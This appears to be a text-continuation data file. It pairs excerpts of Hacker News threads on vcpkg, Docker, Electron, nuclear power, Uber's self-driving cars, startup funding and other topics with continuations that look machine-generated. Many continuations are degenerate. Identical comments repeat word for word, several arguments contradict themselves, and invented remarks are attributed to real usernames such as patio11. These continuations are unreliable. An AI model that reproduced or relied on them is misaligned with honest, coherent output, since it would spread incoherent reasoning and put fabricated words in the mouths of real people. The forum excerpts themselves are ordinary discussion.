me is that they seem to be actively trying to address\npackage management on Windows.\n\ne.g.\n\n[https://github.com/vcpkg/vcpkg/issues/12106](https://github.com/vcpkg/vcpkg/issues/12106)\n\n------\njzwinck\nVcpkg is a great project, and I hope it succeeds.", "input_text": "'d save me the time of looking for\na better blade. But even DSC doesn't claim their blades are better, except for\nsilly marketing copy like \"this blade comes from the future and lives in outer\nspace,\" which is more about setting an irreverent tone than about actually\narguing with a straight face that they're better than the competition.\n\n~~~\nwil421\nYou have never gone to shave and felt the pull and tug of an old razor? Then\nyou go to work only to forget that you need to buy new ones on the way home\nand the process goes on again. This process happens to me because I am usually\nfocused on buying food and not non-perishable goods.\n\nI switched to DSC recently because of this and I am tired of paying\nGillette/Schick $20-$30 on a pack of razors.\n\n \nAnnouncing a single C++ library manager for Linux, macOS and Windows: Vcpkg - ingve\nhttps://blogs.msdn.microsoft.com/vcblog/2018/04/24/announcing-a-single-c-library-manager-for-linux-macos-and-windows-vcpkg/\n======\nhoistbypetard\nDigging around the announcement a bit, I'm having a hard time seeing why I\nmight prefer this over Conan[1], and I'm not seeing anything about how I can\nstand up my own private repository for vcpkg, which is what I am about to do\nwith Conan. Can anyone sound off (or link a page where someone has done so) on\nwhat might tip someone toward this over Conan or vice versa?\n\n[1]([https://www.conan.io/](https://www.conan.io/))"} +{"output_text": " important to know what kind of users you're targeting. If you're\ntargeting college students, you'll get a different opinion than if you're\ntargeting families.\n\n~~~\nfranze\ntrue, but in my opinion, the target group is the same for both facebook and\nforrester research: families and friends of germany.\n\n------\njoeevans1000\nI think the biggest problem with Facebook is that it's a place where people\nwant", "input_text": " to start shooing away many people who'd otherwise be\ninterested in participating. Some/many will simply never come back.\n\nFB has a penetration of roughly 50% of the population in first world developed\nnations, and that seems to be its zenith (usage has actually started falling\nin the US and other early-adopter regions). So you're excluding roughly half\nyour potential participants.\n\nHow the FB usage pattern distributes across your target/desirable population\nis of course another question. I don't have the answers on that.\n\n~~~\nfranze\nas i said before: i would love that somebody comes up with a better study and\nproves my mini sample wrong, sadly i know none.\n\ni did a similar research of fb enabled signeups vs. non fb signups (on desktop\nweb apps) - outcome: if you enable signups via fb, you get more signed up\nusers.\n\ni think the pro/con fb comments/signups discussion should be based on data\n(data that is easy to get on our own webproperties) and not on opinions.\n\n------\nalpb\nI am using DISQUS (version 2012) for a while on my personal blog and I am very\npleased. I get more comments than the times I installed FB Comments, I get\nmore traction and people actually share through DISQUS star button.\n\nHere's a blog post I wrote about switching to DISQUS\n[http://ahmetalpbalkan.com/blog/disqus-addressed-my-\nconcerns-...](http://ahmetalpbalkan.com/blog/disqus-addressed-my-concerns-\npretty-well/)\n\n------\nAznHisoka\nIt's also"} +{"output_text": " 1 web server, then you scale up the app\nserver when you need more performance.\n\nI see people using docker to split their application in multiple containers,\nbut I don't see the benefits.\n\n~~~\ngeerlingguy\nI've seen this pattern used for a few different use cases, but I've never\npersonally seen it used for anything beyond a proof of concept.\n\nI've seen it used for:\n\n\\- A dev/test/production", "input_text": " does Docker handle this?\n\n~~~\ngeerlingguy\nOne way I've seen many people tackle this problem is to have the\nDockerfile/image built in a more generic way, then the end of the Dockerfile\nkicks off an Ansible playbook (or some other lite CM tool) that will configure\neverything for the proper environment (e.g. change configuration and kick off\na service, something along those lines).\n\nSome will even go as far as using a CM tool to do the entire internal\nDockerfile build, and the Dockerfile is just a wrapper around the CM tool.\nThis does require more bloat inside the Docker image, as you need to have your\nCM tool or whatever other supporting files/scripts installed in the image, but\nit does make more complex scenarios much simpler.\n\n~~~\nyebyen\n> you need to have your CM tool or whatever other supporting files/scripts\n> installed in the image\n\nThis pattern is maybe even more helpful than harmful, for making your dev\nenvironment more closely match production, when your final deploy target is\nnot a docker container.\n\n(You are obviously going to want to see those build scripts running in test,\nif not earlier; certainly once, before they should kick off in a production\nenvironment.) You could do more individual steps in the docker file, just like\nyou could store your token credentials and database handles in the git\nrepository. Neither way is \"completely wrong\" but there is a trade-off.\n\n------\nvruiz\nSide question. I'm well aware of the benefits of docker but, has anybody\nmeasured performance degradation due to lack of machine specialization? Back\nin the web 1.0 days it was common knowledge that you start in 1 server, then\nyou split into 1 app server and"} +{"output_text": "\n------\nsant0sk1\nI think this is a great idea, but I think you should consider adding a\n\"Compare Pricing\" link at the top of each search result. This would allow you\nto differentiate yourself from other sites that simply list the lowest\navailable price.\n\n------\nsant0sk1\nI think this is a great idea, but I think you should consider adding a \"Compare\nPricing\" link at the top of each", "input_text": ". time of day is a parameter\nwe'll definitely be adding soon. (it's actually one of the trickier ones to\nimplement).\n\n------\nsammyo\nAlso opening a couple dozen new browser windows is a good way to ensure your\nsite is only used once.\n\n~~~\nkirubakaran\nNormally I'd agree, but in this case it is exactly what I wanted!\n\n------\njbrun\nThat is a great site, beats all others hands down. Pop-ups suck, but still\nbeats the other sites. I love entering the date in words.\n\n------\nanthonyrubin\nIf you are going to create a new site in this space it has to be at least as\ngood as Kayak. Tripeedo fails horribly. As others have mentioned, a site that\nsimply opens numerous windows with the results from each site is not adequate.\n\n~~~\nbriansmith\nTripeedo has two obvious advantages over Kayak:\n\n(1) It can help you search discount airlines like JetBlue and Southwest.\n\n(2) It will show you fairs that are exclusive to the airlines' websites. (I\ndon't think I've ever run into a situation where the airline's website had a\nprice significantly lower than what was on Kayak but I've heard rumblings that\nit happens.)\n\n~~~\njpwagner\nI agree with both of these thoughts, but where is tripeedo when kayak partners\nwith all of these?\n\ni recently went to hong kong and searched all of these engines and got\ndiscouraging prices. I did one search on Cathay Pacific's website and saved\nclose to 40%. I'm almost positive you won't see this with domestic flights\n(for now.)\n"} +{"output_text": " a product without knowing what it's for.\nyou'll waste a lot of time and money.\n\n------\njuskrey\nYou can't get funding without a product, and without traction.\n\n------\njuskrey\nYou can't get funding without a product, and without traction.\n\n------\nklelak\nyou can try to get some friends to invest in your company, but i don't think\nit's gonna help\n\n------\nkle", "input_text": " capital to scale and others just continued to\nbootstrap.\n\n------\neaenki\n1\\. Almost all the capital is in SF/NY. Move accordingly. Good luck with the\nVisa- it\u2019s going to be a PITA\n\n2\\. Have founders who raised capital as friends. Good luck with that too!\n\n3\\. Now if you have a decent looking product and a plausible story you\u2019ll\nraise seed\n\nOr, you know, getting into YC kinda takes care of all 3 points.\n\nAlso, getting insane traction on your own, like WhatsApp did, takes care of\nall 3 points.\n\n~~~\nAnswerawake\n\"Also, getting insane traction on your own, like WhatsApp did, takes care of\nall 3 points.\"\n\n...do you think there is space and/or interest for a WhatsApp clone?\n\n~~~\nfrancescopnpn\nI don't?\n\n------\nsub7\nFinding investors is easy (use AngelList), getting them to invest is harder.\n\nAt your stage, they will look at team, traction, and social proof. Generally\nbeing exceptional in 1/3 of the above criteria will give you a pass on any of\nthe other 2.\n\nMy best advice is hustle your way to 10 users and if they're happy go raise a\nseed round.\n\n------\nfbelzile\nAre you sure VC funding is needed to get started? Is there a reason you ruled\nout bootstrapping?\n\nSure, you probably won't grow as big as fast, but you'll remain totally in\ncontrol and enjoy the freedom of working for yourselves.\n\n------\npascalxus\nthe first thing you should do is talk to customers, or potential customers.\ndon't make the mistake of building"} +{"output_text": "\nimprovement in materials, which reduces the cost of the turbine itself.\n\n------\njhallenworld\nThe article is a bit misleading. The cost of nuclear is not the cost of the\nfuel, but the cost of building the reactor. The fuel is cheap. The cost of the\nfuel is the cost of mining it, enriching it, and storing it.\n\nThe cost of nuclear is the cost of building the reactor, which is a lot.\n\n~~~", "input_text": " available,\nat scale, right now. But traditional light water reactors? They're a\ntechnological dead end. The cost doesn't work.\n\n~~~\nenqk\nWhen you're saying nuclear can't keep up with the cost, are you comparing the\nsame kwh?\n\nFor wind and solar if you install X kwh for amount A, and for nuclear Y khw\nfor amount B, X represents a peak available capacity.. At best, what is the\nguaranteed available khw you get for this installed base? 0.10 * X?\n\nFor nuclear the available capacity is much closer to Y.\n\nSo if the available capacity from wind/solar was something like 0.10 X, then\nit means you'll have to install 10x more wind and solar than you would need\nnuclear. Which needs more material and more energy expenditure (more CO2?) to\ninstall.\n\nIf you compare cost, similarly, A would have to be 10x smaller than B to make\nwind/solar be cheaper.\n\nSome other issues is how Solar competes in terms of surface with areas that\nyou'd grow food in (unless you build in the desert, but then you have issues\nsuch as dust on the panels, and the need to carry the energy across large\nland)\n\n------\nspenczar5\nWhat are the developments that have made solar and wind _so much_ cheaper over\nthe last 15 years? I am hoping HN has an expert lurking about who can unpack\nthis.\n\n~~~\npjc50\nIt's not one big thing as a thousand thousand little things that individual\nengineers have worked on.\n\n\"Simply\" making the turbines bigger helps quite a lot, but that requires\nengineering the blades and support structures. There's also a continuous"} +{"output_text": " a pretty shitty thing to do.\n\nTesla is not \"accepting\" that autopilot requires a human driver to operate the\nvehicle. It's saying that autopilot is a technology that can be used to\noperate a vehicle without a human driver present.\n\nUber is saying that autopilot is a technology that can operate a vehicle\nwithout a human driver present.\n\n~~~\nFricken\n>That's a pretty shitty thing", "input_text": ". If they kill and hit someone, Kalanick is easily portrayed\nas a ready-made movie villain. Wantonly ignoring state and local laws in the\nhopes of getting ahead of the pack, sacrificing the life of cute little\ntoddler Adam to the altar of Mammon?\n\nAnd it's really not just portrayed: Uber'll deserve any and all punishment\nthrown at them for this, up to and possibly including the shut down of the\ncompany and criminal charges for the people who did this. And Uber'll be\nsetting the cause of self-driving cars back years, maybe even a decade.\n\nThis is all incredibly obvious too, and I don't think Uber folks are idiots.\nMaybe they're getting desperate, and they're willing to eat the risk of the\ncompany being destroyed because their business strategy for survival is\nsensitive to getting to production-ready self-driving cars a year earlier than\nthey would have otherwise?\n\n~~~\nFricken\nUber's is laying the groundwork to make the legal case that Tesla owners using\nautopilot are in fact 'testers', presumably in hopes of tangling Tesla up.\n\n'Levandowski compared Uber\u2019s technology to Tesla\u2019s autopilot feature, saying:\n\u201cIt\u2019s hard to understand why the DMV would seek to require self-driving Ubers\nto get permits when it accepts that Tesla\u2019s autopilot technology does not need\nthem.\"\n\n[https://www.theguardian.com/technology/2016/dec/16/uber-\ndefi...](https://www.theguardian.com/technology/2016/dec/16/uber-defies-\ncalifornia-self-driving-cars-san-francisco)\n\n~~~\nscarmig\nThat's"} +{"output_text": " engineers be a positive\nthing? Could it be that diversity is good at companies that are doing poorly\nat hiring?\n\n#2: \"We\u2019re a small company, so we don\u2019t have a large internal codebase to\ncontend with.\"\n\nThis is a red flag for me. A large internal codebase is a red flag for me.\nHaving a large internal codebase is a good indicator that you have a large\nemployees, and that means you", "input_text": ", Jack Dorsey, didn\u2019t go to a top CS\n> school. However, it\u2019s still the case that college and experience is an\n> imperfect signal of ability.\n\nIn other words: Here's all of these great reasons I've found not to trust\nsomeone's schooling as a good indicator of their ability, but I'm going to use\nit anyway.\n\nOP is what's wrong with tech hiring.\n\n~~~\nacctjustforyou\n\"There exists a young man with no legs who has a stellar collegiate wrestling\nrecord.\n\nThere also exists an athlete in the most prestigious wrestling program in the\ncountry who always loses because he never makes weight, and when he does make\nweight, he gets defeated in seconds.\n\nTherefore I can confidently conclude that 'number of limbs' has no correlation\nwhatsoever to wrestling ability.\"\n\nHmmm...\n\n~~~\ndclowd9901\nSounds like you get it.\n\n------\nthelock85\nFascinating. It mostly seems you're company is taking a poor approach to\ndiversity, and doing even worse at communicating and gaining buy-in from\nexisting employees. With the exception of #1, it seems all of these strategies\nare aimed at eliminating signals that skew heavily toward elite-educated men\nso that the top of your funnel is more diverse. So perhaps the real issue is\nthat the hiring process allows for \"many engineers who are barely competent at\ntheir job.\" And perhaps there aren't enough resources to improve said process\nand handle a greater volume of potentially unqualified applicants. But by your\nown admission, the bar is already low enough to admit false positives so I\nthink you're conflating issues here. On a side note: holding your argument to\nbe true, could the existence of barely competent"} +{"output_text": "\u2019re seeing the rise of a new kind of application: the\n\u201cwebview\u201d application. These are applications that are built on top of the\nElectron platform, but are not intended to be used directly through the\ndesktop. These applications are often built to work in webview-based\nenvironments, such as web browsers, or to interact with the local hardware.\nThey are often built to work in multiple environments, such as web browsers\nand native applications.\"\n\nI", "input_text": " non-\nnative.\n\n~~~\nblub\nBalsamiq Mockups is built with Flex/AIR. It's quite decent, but a bit\nsluggish.\n\n------\nawinder\nCan we talk about the other red headed stepchild of desktop dev which is java\ncross platform apps? It'll take a lot to get me off my high horse that if all\nthat was ported to electron, it'd be a great upgrade for users.\n\nIt's also a bridge for Linux desktop to get critical, same-in-class app\nsupport. Not a final destination but a possible breakpoint infusion.\n\n~~~\ndiek\nSo, like IntelliJ? We should port IntelliJ to Electron?\n\n~~~\nrlabrecque\nI mean we already have VSCode and Atom both running on Electron.\n\n~~~\nawinder\nI had tons of memory problems on webstorm, basically romping through 4GB+, it\nwas taxing my 16GB laptop at times. Switching to vscode has been a huge\nresource saver.\n\n~~~\ntommica\nI have the opposite issue - PHPStorm works fine, but VS Code and Atom are\ncompletely sluggish even on simple PHP files\n\n------\nogezi\nI completely agree with this. Electron drops the entry barrier for desktop\ndevelopment much like flash did for web development.\n\nAs computers get faster I think that the difference in performance of apps\nusing electron versus platform native apps will be imperceptible.\n\n~~~\nharrygeez\nI would much rather see React Native succeed than Electron.\n\n~~~\npier25\nI would much rather see a native to JS bridge completely decoupled from React.\n\n------\nDonFizachi\n\"With Electron, we"} +{"output_text": " than we thought, it's\ndifficult to argue with that.\n\nBut the real problem is that we don't even know what emotions, gestures, and\nnonverbal cues dogs are reacting to. We don't know what the baseline is.\n\nWe can't even take a guess at what the baseline is for humans. We have a\nbaseline of emotion, gesture, and nonverbal cues that we assume are\nautonomic. But we don't know what the baseline is", "input_text": " to better\nreproductive opportunities for those dogs which we are more attached to. For\nall we know, dogs responses to human emotions, gestures, and nonverbal cues\nare a completely autonomic behavior.\n\nI love dogs, I think my dog is super-smart, funny, and very sweet. I've heard\nher particular breed referred to as \"the dog with the human brain\" on some dog\nTV show before, and I'm sure she's not even as smart as a collie. That said, I\ncan't help but feel like your comment is a bit... overwrought. Dogs clearly\nunderstand parts of human language and judging them by their ability to\nunderstand it seems like the _best_ way to determine their intelligence. I\nwould hardly call it \"remarkably arrogant\". You have to consider the fact that\nhumans have likely had spoken language for as long as we've had domesticated\ncanines.\n\nIn the end I can't help but feel like over-sentimental and hyperbolic (would\nyou say we've \"underestimated the intelligence\" of, say, jellyfish?)\ndeclarations like yours really set us up only for disappointment. Our dogs are\ngreat, and probably do actually _love_ us, but they're not furry little\ngeniuses held back only by their lack of proper speaking ability.\n\nAll that said, they're still _way better_ than cats.\n\n~~~\njeremymims\nThis is precisely why I believe almost all of these experiments are flawed.\n\nYou begin with the assumption (based on nothing other than a general feeling\nof human specialness) that \"For all we know, dogs responses to human emotions,\ngestures, and nonverbal cues are a completely autonomic behavior\". Considering\nthat we discover all kinds of animals are smarter"} +{"output_text": " the hand\nwhen holding a glass of water?\n\n~~~\nPracticality\n> So why is it inane to care about the proportion of clothing, or the angle of\n> the hand when holding a glass of water?\n\nBecause it's not about proportion, angles, or aesthetics. It's about\ncommunication.\n\nYou can't communicate with people who don't understand proportion, angles, or\naesthetics.\n\n~~~\nycosynot\n>", "input_text": "\nA lot of problems suddenly disappear.\n\nAI, on the other hand, while very useful, doesn't change people. And frankly,\nmost problems we have are because people lack understanding. I don't know\nabout you, but I don't actually want to replace mankind with something else, I\njust want us all better.\n\nOf course, what \"better\" is--is highly debatable, so that definitely gives\npause as well.\n\n~~~\nmziel\n> A lot of problems suddenly disappear.\n\nNot to be negative but citation needed.\n\nAlso (I guess we'll cross \"isolation\" of the list):\n[https://en.wikipedia.org/wiki/Intellectual_giftedness#Social...](https://en.wikipedia.org/wiki/Intellectual_giftedness#Social_and_emotional_issues)\n\n~~~\nPracticality\nAn interesting point. I think your citation adds to the point though.\n\nIn observing my \"normal\" peers, honestly, they do a lot of very strange things\njust to be considered normal.\n\nI mean, it's pretty expensive just to keep up with current trend of sunglasses\nsize or sock length, just to be seen as normal.\n\nNot to mention that you have to hold your hands a certain way and talk\nincoherently.\n\nThere is a lot of \"normalizing\" behavior that becomes unnecessary when\neveryone has the capacity to see how inane and impractical such behavior\nreally is.\n\n~~~\nycosynot\nA lot of smart men have been passionate about the proportion of columns, or\nthe proportion of numbers, or even the aesthetics of curly braces. So why is\nit inane to care about the proportion of clothing, or the angle of"} +{"output_text": " no-brainer.\n\n------\npatio11\n_I have a hard time believing that I could get a client to pay me $100/hour\nfor a job that I could do for $30/hour._\n\nThis is the most important point of the article for me. If you are a developer\nwho is not already independently wealthy, you should _think very hard_ about\ntaking on clients.\n\nThe reason is that you are going to be spending a", "input_text": " own VPS, and you should certainly not sign up\nwith me, as all my interfaces are command-line only, and I don't have a nice\nGUI web control panel like many competitors do, and my support is email-only.\ngo, pay the extra bucks, pay slicehost, and get someone to talk you through it\non the phone. I don't charge enough to deal with that sort of thing.\n\nIf you wanted to hire me by the hour, that'd be different, but we're talking\nabout people giving me $8/month.\n\n~~~\nDougBTX\nYour line makes more sense now, since you're talking about a different\nsituation from the article. It's a different relationship; since anything you\ndo would have to benefit the many of your users at once to be worthwhile, it\nmakes sense to have users who are similar to each other, ie, to say no to the\noutliers.\n\n~~~\nlsc\nYeah. a successful product business involves a whole lot more 'no' than a\nconsulting business.\n\nHowever, I think even when working by the hour, when I charge what I seem to\nbe able to charge lately, I try to say \"No, that's outside of my area of\ncompetence\" because really, they are paying me way too much for me to 'figure\nit out.'\n\nWhen it is in my area of competence, I think it's just as important to say\n\"No, I think that's a bad idea, and here's why\" - They are paying me silly\nrates, presumably because I know more than they do about what we are trying to\nget done; Sure, sometimes you need to translate the technical choice into a\nbusiness decision and push it up the chain, but sometimes it's a"} +{"output_text": ".\n\n~~~\nsolotronics\nI think I would have to do some research to see if this could be done\nopportunistically. I would also have to do some research to see if it could\nhide the source and destination.\n\n------\njwilber\nI'm not sure why this is news. The FCC has been trying to make ISPs more\ntransparent about their network management practices for years.\n\n[https://www.fcc.gov", "input_text": "ification\n\nI'd never heard of the term 'ossification' regarding a protocol before. But\n\"QUIC as a solution to protocol ossification\" from LWN [1] clears it up:\n\n> TCP suffers other problems as well.... Middleboxes (routers between the\n> endpoints of a connection) interfere with traffic and make it difficult to\n> improve the protocol. They aren't supposed to be looking at TCP headers, but\n> they do so anyway and make decisions based on what they see, often blocking\n> traffic that looks in any way out of the norm. This \"ossification\" of the\n> protocol makes it nearly impossible to make changes to TCP itself.\n\n[1] [https://lwn.net/Articles/745590/](https://lwn.net/Articles/745590/)\n\n~~~\nsolotronics\nThis brings up some interesting considerations\n\nI personally believe in absolute freedom of speech so from a network\nengineering perspective this manifests as a personal responsibility to make\nthe networks I control pass packets without discrimination. The public\ninternet is just a conglomeration of seperate private networks that operate\nunder their own sets of rules.\n\nTo have absolute freedom when passing traffic the underlying protocol should\nbe fully encrypted and probably even hide the source and destination IP\naddress and port. This is a very tough problem to solve technically because\nyou have to know the destination IP to efficiently route a packet.\n\n~~~\nkeepmesmall\nThe destination IP could be hidden opportunistically?\n\nSend the destination IP for high-priority requests and retry without the\ndestination. Low-priority/long-latency requests would always hide the\ndestination.\n\n... I can't articulate why, but I feel even this introduces a very large\namount of hidden complexity"} +{"output_text": " waste of time.\n\nI have a few friends that are artists, and we have a lot of fun together. We\ntalk about art, share ideas, and generally have fun. I have a few friends that\nare musicians, and we have a lot of fun together. We talk about music, share\nideas, and generally have fun. I have a few friends that are writers, and we\nhave a lot of fun together. We talk about writing, share ideas, and", "input_text": " mention.\n\n~~~\nJtsummers\n[http://www.accademia.org/it/esplora-il-museo/le-\nopere/i-prig...](http://www.accademia.org/it/esplora-il-museo/le-\nopere/i-prigioni-schiavi-di-michelangelo/)\n\nThese are the ones I was thinking of.\n\n------\nBroken_Hippo\nI'm going to say first and foremost that I'm an artist. I sell occasionally\n(rarely), but constantly create. I'm often prolific. I'm nearing 40 and have\ndone this stuff since I was a child.\n\nYet I really don't have an emotional connection with art (there are\nexceptions, but this is rare). I hold a few things I've made dear to me but\nwould sell them in an instant. I don't think this is in any way necessary.\nWhatever you feel - or don't - is just how you see it.\n\nBut I like art, overall, especially surrealism, fantasy, and abstract work. I\nthink they are neat to look at when done well. I'm sometimes in awe of well-\ndone landscapes, portraits, still life paintings, and things depicting current\nevents and situations. I don't really enjoy these, though, since I find such\nimages boring after a while. In fact, I'm the type of artist that would make\nsomething up if someone insists on \"getting\" my art or asks me to explain a\nfew things. Or refuse to explain altogether. I know folks expect this stuff,\nso I'm prepared to jump into that role if it ever becomes actually necessary,\neven though I know it would be a"} +{"output_text": "ia so I don't know the specifics of the\nresearch process, but I would be surprised if the formula was not published\nsomewhere.\n\n~~~\nmugsie\nIt's not published, because the people who need to use it don't have the\ntools.\n\nDocker is a solution, but it's not the only one.\n\n------\njrochkind1\nI don't understand why people are using docker for this.\n\nIf you're", "input_text": "\nthe regular (Rails) auto reload works perfectly.\n\nFor test and prod we just simply don't do any volume mounting at all, and use\nthe baked in src directly.\n\nEasy and fast everywhere, all you have to control is how and when the images\nare created (ex: we do a full clean checkout in a new directory before\nbuilding a test image, to ensure it only contains committed code. EDIT: by\ntest I mean for local testing, while you're working on revisions, a CI server\ndoes the automatic testing).\n\n------\ncollyw\nTo tell all the cool kids you are using it.\n\n(Ok, I know there are real use cases for Docker, but I see a lot of hype as\nwell. People telling my mathematician friend that she needs to use docker at\nthe start of her project - it is likely to be a one off graph she needs to\nproduce for a research paper).\n\n~~~\nosipov\nThere is a big push for reproducibility in science. If you friend can package\nthe process for building that graph in a Dockerfile, it is more likely that\nreaders of her paper will be able to reproduce her results.\n\n~~~\nmugsie\nor, you know, publish the formula, so readers can reproduce in whatever\nlanguage / system they want.\n\nReproducibility is a big push.... but not like you are suggesting. Shipping a\ndockerfile is the equivalent of saying \"This works, _if_ you use this flask,\nthis pipette, this GCMS and this piece of litmus paper\"\n\nDocker is not the only solution to problems. It solves some, but you can't\ntack it on to everything.\n\n~~~\nlog_n\nWhy not both? I am not in academ"} +{"output_text": " a per-user basis is much higher.\n\n------\njwilber\nI'm not sure I understand the point of this post.\n\nIt's true that the original announcement was poorly worded, but the language\nhas been updated to be more clear.\n\nIt's true that the language was ambiguous about whether or not the accounts\nwould be locked, but the language has been updated to be more clear.\n\nIt's true that the language was ambiguous about whether or", "input_text": "docker/docker.github.io/issues/6910)\n\n~~~\ndbnoch\nOr fix this 4 year old issue where you cant use 2FA for accounts\n[https://github.com/docker/hub-\nfeedback/issues/358](https://github.com/docker/hub-feedback/issues/358)\n\n(Side note: this obviously wouldn't have prevented the current attack)\n\n------\naneutron\nFrom the same company that tried to force people to login before downloading\nDocker CE.\n\n------\nrnotaro\nOfficial Article from Docker (Same Text as the email):\n[https://success.docker.com/article/docker-hub-user-\nnotificat...](https://success.docker.com/article/docker-hub-user-notification)\n\n~~~\nfock\nsuccess.docker.com!\n\n------\nviraptor\nThat's a nice summary. One thing I'm curious about is:\n\n> Data includes usernames and hashed passwords\n\nHow are they hashed? And specifically, can we expect them to be already\ncracked?\n\n~~~\nghusbands\nYes, in particular we need to know algorithm, work factor and salting details\nto know whether or not the passwords may be compromised.\n\n~~~\ntrulyrandom\nJust assume that it's compromised and generate a new one. There is no point in\nwasting time trying to estimate how long it might take someone to crack it.\n\n~~~\nviraptor\nIt matters at lower extreme. If it was something trivial and people shared the\npassword with another account, then they may be already compromised. If it was\nhard and salted per-user, they still have to change it, but the chance of\ncompromise on"} +{"output_text": " the exception of Content you submit or make available for commercial\n> or promotional purposes, (a) you retain all rights to your Content; (b) you\n> may not sell, rent, lease, relicense, distribute, syndicate, market,\n> sublicense, or otherwise commercially exploit the Content; and (c) you may\n> not make the Content available for inclusion in any product or service that\n> is not offered for purchase or subscription on Yahoo!._\n\n", "input_text": "\nwithout first knowing about it.\n\n~~~\njfarmer\nMuch of it is a conceit, yes, and I'm not qualified to comment on the legal\nprecedents surrounding such licenses.\n\nI'm sure Pinterest makes you check a box saying you agree to the Terms of Use\nbefore they let you create an account.\n\nWhether that's sufficient is up to a court to decide, and an attorney could\ntell you the likelihood of a successful suit given a specific fact pattern.\n\nI'm not an attorney, though.\n\nAs I said below, people -- engineers, especially -- get caught up in\ncontractual technicalities. The fundamental question is: do you trust\nPinterest to do right by you?\n\nFlickr has a similar clause that every photographer who has uploaded their\nphotos has agreed to, but they do right by their users and so nobody believes\none day Flickr is going to undo all that work. It would alienate their\ncustomers.\n\nIf you think Pinterest is untrustworthy, why do you think some text on a\nscreen that _they wrote themselves_ is going to impact their behavior one way\nor another?\n\n~~~\njacobolus\nActually, Flickr\u2019s TOS (now a general Yahoo one) is quite different. They make\nit clear that their rights are limited to the specific uses obvious and\nessential to the function of their sites:\n\n> _Yahoo! does not claim ownership of Content you submit or make available for\n> inclusion on the Yahoo! Services. However, with respect to Content you\n> submit or make available for inclusion on publicly accessible areas of the\n> Yahoo! Services, you grant Yahoo! the following worldwide, royalty-free and\n> non-exclusive license(s), as applicable:_\n\n> _With"} +{"output_text": " was living in\na small town.\n\n------\nthrowawaysea\nThis is a really good article. I think the author makes a good case that the\nidea of Libra was around for a while and that it was just a matter of the\nright time and place for it to become popular.\n\n------\nthrowawaysea\nThis is a really good article. I think the author makes a good case that the\nidea of Libra was around for a while and that", "input_text": " IMF works, etc. I\neven helped (not successfully) launch it in 2013. These ideas have been around\nfor a good while by many people, it\u2019s just that crypto is mainstream enough\nand facebook has enough clout now to take it seriously. If facebook ripped off\nanyone it was John Maynard Keynes. That\u2019s not to say that it is even that good\nof an idea or that facebook will be successful with it.\n\n------\nvitno\nI know people who were working on, what is now called, Libra at FB more than a\nyear ago though. The paper was published a year ago. This just looks like a\ncase of multiple people having the same idea.\n\n~~~\nyodaml\nIt may just be another case of the \"adjacent possible\" principle at work.\n\n~~~\nTeMPOraL\n\"Adjacent possible\" is the case of one of the weirdest possible definition for\na very simple concept. I see people quoting this:\n\n\"The adjacent possible is a kind of shadow future, hovering on the edges of\nthe present state of things, a map of all the ways in which the present can\nreinvent itself.\"\n\n(Whatever the hell that means.)\n\nEven though the concept is much simpler: \"adjacent possible\" is the set of\nthings within reach. Or: all the things on the border between what we have,\nand what we could have.\n\n------\nejwessel\nIn science, the credit goes to the man who convinces the world, not to whom\nthe idea first occurs. \\- Francis Darwin.\n\n------\nBubRoss\nThis is just like when Google stole my idea to run fiber optic internet to\npeople's houses. I totally had that idea a long time ago when I"} +{"output_text": " the KKK\nand the BNP still exist, but they are a tiny fraction of the population and\nthey are dying out.\n\n~~~\ndidip\nI am not saying that we should accept gay marriage, just that once they are\nnormal, there will be other minorities that will feel the heat of the\nmajority's anger.\n\n~~~\njacobolus\nThe \u201cheat\u201d of the majority\u2019s anger is not a good thing. It is a terrible", "input_text": " eras than ours. It's a\nlot more dangerous before the paradigm shift (and boy has this paradigm\nshifted). Shepard's case, from what I've read, was a lot more ambiguous.\n\nEdit: I'm not arguing that there's no more anti-gay violence, just that the\nsocial context has changed radically. The aftermath of the recent incident in\nFort Worth will be interesting to follow in this respect.\n\n~~~\ndidip\nTimes hasn't changed much, minority of all kinds always need to assert their\nequal rights.\n\nOnce gays are accepted into the mainstream, there will be other, oppressed,\neven more niche minority group.\n\nThis is the nature of our pyramid-like society. There will always be oppressor\nand oppressed.\n\n~~~\njacobolus\nI think this is a counter-productive attitude. The difference in the US\nbetween the 1850s (blacks in slavery, many women in abusive relationships with\nno legal protection or recourse because they were considered property, chinese\nand mexicans used as cheap labor but discriminated against mercilessly, gays\nall in the closet because their lives would be at risk if they came out,\netc.), and the 1950s (gays nearly all closeted still, women\u2019s lib movement not\nyet off the ground, Jim Crow and frequent lynchings, many top universities\nhardly accepting anyone not a WASP male, rampant discrimination in housing,\nhiring, politics, the mentally disabled brutally institutionalized against\ntheir will, and the physically disabled not guaranteed equal access to public\ninfrastructure and instututions, etc.) and today is dramatic, and the trend is\n_overwhelmingly_ obvious.\n\nSure, we still have problems with racism and sexism, and groups like"} +{"output_text": "ie\nI'm not sure this is a good example. The author is a professional programmer,\nnot a gamer, and his problems stem from a lack of focus and a tendency to\nswitch between tasks. He's not distracted by social media or by his own\nthoughts, he's just not focusing on his work.\n\nI don't think that's a good example of how the internet is ruining our\ncognitive abilities.\n\n~~~\nmikejmoffitt", "input_text": " I really only did that in the album, cassette and CD days\nbecause the tech sucked. Now I can easily jump to the part I want, just\nlistening to i.\n\nI only listen to podcasts when trapped on a long drive. Them I tend to listen\nto end-to-end again because the tech sucks.\n\nI've always found it hard to sit and watch a film, or even a youtube video,\nlinearly. It's generally just _way too slow_ (and occastionally too fast) and\nI like to be able to skip around. But the tools suck.\n\n _Books_, on the other hand, are ideal. In so many I luxuriate in them,\nespecially fiction which can be so multimedia compared to a film, generally\nreading linearly. Others I skip around, skipping over boring bits, coming back\nto them, going back to parts I loved, or just reading something interesting\nover and over.\n\nIt's not that \"the digital\" caused me to lose my ability to concentrate,\nrather it allowed me access to media in a way that _supports_ my enjoyment:\nsometimes intense, sometimes casual, and sometimes intense just on the parts\nthat matter. How can this be bad?\n\n------\nkhorwitz\nShallows is a great book about this and \"what the internet does to our\nbrains\". This chrome extension is supposed to combat the internet's\nunquestionable ability to mess with our work focus:\n[https://chrome.google.com/webstore/detail/focusr/fgdcnfgmneb...](https://chrome.google.com/webstore/detail/focusr/fgdcnfgmneblnnldmaffhbniomfajlah?hl=en)\n\n------\nNurs"} +{"output_text": " mean we should have given up then?\n\n~~~\njrockway\nI think the general public was more aware of the internet in the 90s than they\nare now. The difference is that the public was not paying for the internet.\nThat is why we got the \"lots of great companies started out as free services\".\nIf the internet had been a for-profit service, it would have been a different\nstory.\n\n------\njstalin\nI'm", "input_text": " who _run_\nthings (e.g. governments) want to _keep running things_. Thus, their work\ntends to result in new laws and treaties. People who _do_ things (e.g.\nengineers) want to _keep doing things_. Thus, their work tends to result in\nvoluntary, consensus-based 